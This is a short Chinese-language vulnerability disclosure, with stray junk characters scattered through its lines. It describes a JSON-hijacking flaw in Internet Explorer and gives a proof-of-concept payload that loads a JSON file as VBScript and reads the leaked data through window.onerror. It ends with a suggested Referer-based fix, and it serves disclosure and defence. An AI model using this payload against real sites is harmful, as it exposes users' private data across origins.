简要描述:& R) f/ K0 O: g7 i* Q5 a2 p$ S
7 ?: l, v/ ~; i由于某些资源容器对数据处理不当导致json劫持漏洞.6 m3 ?4 c( U% I7 {; N4 H
详细说明:
( ~) X5 Z4 {9 w0 R: R: d* J由于ie支持vbscript,所以script元素可以指定成vbscript语言:2 G! J u. h" J0 g- {
<script language=vbscript></script>, [! H8 Y9 M0 r$ h
( T6 `& [# m* Y- {$ f当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
3 v# ~6 O) p# r) q2 C漏洞证明:: W: F" k1 L' z9 R9 b
<script>6 h" r! H/ k1 c9 H C
window.onerror=function(_){% ?$ e" q. h! [+ d p, [0 ?7 L
alert(_)7 I: l) t: Z/ z1 t, _. Q" {0 P
}
B2 h& t! P3 v: m</script>
/ ^% z0 a& l- F; [<script language=vbscript src=1.json></script>: F7 r: P. E9 Y! C3 D: ~1 m6 ?
. J0 p" e9 Y+ p; w
- s* j* T' G0 X, W- \: S2 V
1.json:
' \$ U8 ~( a# w' b& G* h* s6 Z[{"name":"sogili","age":19}]9 L- A, ]' |) H: c
修复方案:
/ f& C" o* o' D6 v# x' e8 U网站业务对于这个问题可以通过验证referrer是否为同源来防御 |